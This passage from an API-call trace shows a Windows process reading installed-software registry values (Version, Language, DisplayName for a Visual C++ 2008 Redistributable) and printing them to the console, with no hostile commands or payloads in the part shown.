lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.274] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.274] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.274] __iob_func () returned 0x7fefd702a80 [0150.274] _fileno (_File=0x7fefd702ab0) returned 1 [0150.274] _errno () returned 0x204bb0 [0150.274] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.274] _errno () returned 0x204bb0 [0150.274] GetFileType (hFile=0x50) returned 0x1 [0150.274] lstrlenW (lpString="\n") returned 1 [0150.274] GetConsoleOutputCP () returned 0x1b5 [0150.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.274] GetConsoleOutputCP () returned 0x1b5 [0150.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.274] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.274] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.274] GetProcessHeap () returned 0x3c0000 [0150.274] GetProcessHeap () returned 0x3c0000 [0150.274] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.274] GetProcessHeap () returned 0x3c0000 [0150.274] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.274] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.274] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.274] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.274] GetProcessHeap () returned 0x3c0000 [0150.275] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.275] GetProcessHeap () returned 0x3c0000 [0150.275] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.275] GetProcessHeap () returned 0x3c0000 [0150.275] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.275] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x9007809, pcbData=0x29f780*=0x4) returned 0x0 [0150.275] __iob_func () returned 0x7fefd702a80 [0150.275] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.275] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.275] _fileno (_File=0x7fefd702ab0) returned 1 [0150.275] _errno () returned 0x204bb0 [0150.275] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.275] _errno () returned 0x204bb0 [0150.275] GetFileType (hFile=0x50) returned 0x1 [0150.275] lstrlenW (lpString=" ") returned 4 [0150.275] GetConsoleOutputCP () returned 0x1b5 [0150.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.275] GetConsoleOutputCP () returned 0x1b5 [0150.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.275] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.275] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.275] lstrlenW (lpString="Version") returned 7 [0150.275] __iob_func () returned 0x7fefd702a80 [0150.275] _fileno (_File=0x7fefd702ab0) returned 1 [0150.275] _errno () returned 0x204bb0 [0150.275] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.275] _errno () returned 0x204bb0 [0150.275] GetFileType (hFile=0x50) returned 0x1 [0150.276] lstrlenW (lpString="Version") returned 7 [0150.276] GetConsoleOutputCP () returned 0x1b5 [0150.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.276] GetConsoleOutputCP () returned 0x1b5 [0150.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0150.276] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.276] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.276] __iob_func () returned 0x7fefd702a80 [0150.276] _fileno (_File=0x7fefd702ab0) returned 1 [0150.276] _errno () returned 0x204bb0 [0150.276] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.276] _errno () returned 0x204bb0 [0150.276] GetFileType (hFile=0x50) returned 0x1 [0150.276] lstrlenW (lpString=" ") returned 4 [0150.276] GetConsoleOutputCP () returned 0x1b5 [0150.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.276] GetConsoleOutputCP () returned 0x1b5 [0150.276] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.276] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.276] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.277] __iob_func () returned 0x7fefd702a80 [0150.277] _fileno (_File=0x7fefd702ab0) returned 1 [0150.277] _errno () returned 0x204bb0 [0150.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.277] _errno () returned 0x204bb0 [0150.277] GetFileType (hFile=0x50) returned 0x1 [0150.277] lstrlenW (lpString="REG_DWORD") returned 9 [0150.277] GetConsoleOutputCP () returned 0x1b5 [0150.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.277] GetConsoleOutputCP () returned 0x1b5 [0150.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.277] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.277] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.277] __iob_func () returned 0x7fefd702a80 [0150.277] _fileno (_File=0x7fefd702ab0) returned 1 [0150.277] _errno () returned 0x204bb0 [0150.277] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.277] _errno () returned 0x204bb0 [0150.277] GetFileType (hFile=0x50) returned 0x1 [0150.277] lstrlenW (lpString=" ") returned 4 [0150.277] GetConsoleOutputCP () returned 0x1b5 [0150.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.278] GetConsoleOutputCP () returned 0x1b5 [0150.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.278] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.278] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.278] __iob_func () returned 0x7fefd702a80 [0150.278] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.278] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x9007809") returned 9 [0150.278] _fileno (_File=0x7fefd702ab0) returned 1 [0150.278] _errno () returned 0x204bb0 [0150.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.278] _errno () returned 0x204bb0 [0150.278] GetFileType (hFile=0x50) returned 0x1 [0150.278] lstrlenW (lpString="0x9007809") returned 9 [0150.278] GetConsoleOutputCP () returned 0x1b5 [0150.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9007809", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.278] GetConsoleOutputCP () returned 0x1b5 [0150.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9007809", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x9007809", lpUsedDefaultChar=0x0) returned 9 [0150.278] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.278] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.278] __iob_func () returned 0x7fefd702a80 [0150.278] _fileno (_File=0x7fefd702ab0) returned 1 [0150.278] _errno () returned 0x204bb0 [0150.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.279] _errno () returned 0x204bb0 [0150.279] GetFileType (hFile=0x50) returned 0x1 [0150.279] lstrlenW (lpString="\n") returned 1 [0150.279] GetConsoleOutputCP () returned 0x1b5 [0150.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.279] GetConsoleOutputCP () returned 0x1b5 [0150.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.279] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.279] GetProcessHeap () returned 0x3c0000 [0150.279] GetProcessHeap () returned 0x3c0000 [0150.279] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.279] GetProcessHeap () returned 0x3c0000 [0150.279] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.279] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.279] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.279] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.279] GetProcessHeap () returned 0x3c0000 [0150.279] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.279] GetProcessHeap () returned 0x3c0000 [0150.279] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.279] GetProcessHeap () returned 0x3c0000 [0150.279] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.279] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x409, pcbData=0x29f780*=0x4) returned 0x0 [0150.279] __iob_func () returned 0x7fefd702a80 [0150.280] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.280] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.280] _fileno (_File=0x7fefd702ab0) returned 1 [0150.280] _errno () returned 0x204bb0 [0150.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.280] _errno () returned 0x204bb0 [0150.280] GetFileType (hFile=0x50) returned 0x1 [0150.280] lstrlenW (lpString=" ") returned 4 [0150.280] GetConsoleOutputCP () returned 0x1b5 [0150.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.280] GetConsoleOutputCP () returned 0x1b5 [0150.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.280] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.280] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.280] lstrlenW (lpString="Language") returned 8 [0150.280] __iob_func () returned 0x7fefd702a80 [0150.280] _fileno (_File=0x7fefd702ab0) returned 1 [0150.280] _errno () returned 0x204bb0 [0150.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.280] _errno () returned 0x204bb0 [0150.280] GetFileType (hFile=0x50) returned 0x1 [0150.280] lstrlenW (lpString="Language") returned 8 [0150.280] GetConsoleOutputCP () returned 0x1b5 [0150.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.281] GetConsoleOutputCP () returned 0x1b5 [0150.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0150.281] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.281] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.281] __iob_func () returned 0x7fefd702a80 [0150.281] _fileno (_File=0x7fefd702ab0) returned 1 [0150.281] _errno () returned 0x204bb0 [0150.281] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.281] _errno () returned 0x204bb0 [0150.281] GetFileType (hFile=0x50) returned 0x1 [0150.281] lstrlenW (lpString=" ") returned 4 [0150.281] GetConsoleOutputCP () returned 0x1b5 [0150.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.281] GetConsoleOutputCP () returned 0x1b5 [0150.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.281] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.281] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.281] __iob_func () returned 0x7fefd702a80 [0150.281] _fileno (_File=0x7fefd702ab0) returned 1 [0150.281] _errno () returned 0x204bb0 [0150.281] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.281] _errno () returned 0x204bb0 [0150.282] GetFileType (hFile=0x50) returned 0x1 [0150.282] lstrlenW (lpString="REG_DWORD") returned 9 [0150.282] GetConsoleOutputCP () returned 0x1b5 [0150.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.282] GetConsoleOutputCP () returned 0x1b5 [0150.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.282] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.282] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.282] __iob_func () returned 0x7fefd702a80 [0150.282] _fileno (_File=0x7fefd702ab0) returned 1 [0150.282] _errno () returned 0x204bb0 [0150.282] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.282] _errno () returned 0x204bb0 [0150.282] GetFileType (hFile=0x50) returned 0x1 [0150.282] lstrlenW (lpString=" ") returned 4 [0150.282] GetConsoleOutputCP () returned 0x1b5 [0150.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.282] GetConsoleOutputCP () returned 0x1b5 [0150.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.283] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.283] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.283] __iob_func () returned 0x7fefd702a80 [0150.283] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.283] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x409") returned 5 [0150.283] _fileno (_File=0x7fefd702ab0) returned 1 [0150.283] _errno () returned 0x204bb0 [0150.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.283] _errno () returned 0x204bb0 [0150.283] GetFileType (hFile=0x50) returned 0x1 [0150.283] lstrlenW (lpString="0x409") returned 5 [0150.283] GetConsoleOutputCP () returned 0x1b5 [0150.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0150.283] GetConsoleOutputCP () returned 0x1b5 [0150.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0150.283] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0150.283] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.283] __iob_func () returned 0x7fefd702a80 [0150.283] _fileno (_File=0x7fefd702ab0) returned 1 [0150.283] _errno () returned 0x204bb0 [0150.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.283] _errno () returned 0x204bb0 [0150.283] GetFileType (hFile=0x50) returned 0x1 [0150.283] lstrlenW (lpString="\n") returned 1 [0150.284] GetConsoleOutputCP () returned 0x1b5 [0150.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.284] GetConsoleOutputCP () returned 0x1b5 [0150.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.284] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.284] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.284] GetProcessHeap () returned 0x3c0000 [0150.284] GetProcessHeap () returned 0x3c0000 [0150.284] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.284] GetProcessHeap () returned 0x3c0000 [0150.284] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.284] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.284] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.284] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x80) returned 0x0 [0150.284] GetProcessHeap () returned 0x3c0000 [0150.284] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x82) returned 0x3db830 [0150.284] GetProcessHeap () returned 0x3c0000 [0150.284] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.284] GetProcessHeap () returned 0x3c0000 [0150.284] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x82 [0150.284] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x80 | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", pcbData=0x29f780*=0x7e) returned 0x0 [0150.284] __iob_func () returned 0x7fefd702a80 [0150.284] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.284] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.284] _fileno (_File=0x7fefd702ab0) returned 1 [0150.285] _errno () returned 0x204bb0 [0150.285] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.285] _errno () returned 0x204bb0 [0150.285] GetFileType (hFile=0x50) returned 0x1 [0150.285] lstrlenW (lpString=" ") returned 4 [0150.285] GetConsoleOutputCP () returned 0x1b5 [0150.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.285] GetConsoleOutputCP () returned 0x1b5 [0150.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.285] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.285] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.285] lstrlenW (lpString="DisplayName") returned 11 [0150.285] __iob_func () returned 0x7fefd702a80 [0150.285] _fileno (_File=0x7fefd702ab0) returned 1 [0150.285] _errno () returned 0x204bb0 [0150.285] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.285] _errno () returned 0x204bb0 [0150.285] GetFileType (hFile=0x50) returned 0x1 [0150.285] lstrlenW (lpString="DisplayName") returned 11 [0150.285] GetConsoleOutputCP () returned 0x1b5 [0150.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.285] GetConsoleOutputCP () returned 0x1b5 [0150.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.286] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.286] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.286] __iob_func () returned 0x7fefd702a80 [0150.286] _fileno (_File=0x7fefd702ab0) returned 1 [0150.286] _errno () returned 0x204bb0 [0150.286] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.286] _errno () returned 0x204bb0 [0150.286] GetFileType (hFile=0x50) returned 0x1 [0150.286] lstrlenW (lpString=" ") returned 4 [0150.286] GetConsoleOutputCP () returned 0x1b5 [0150.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, 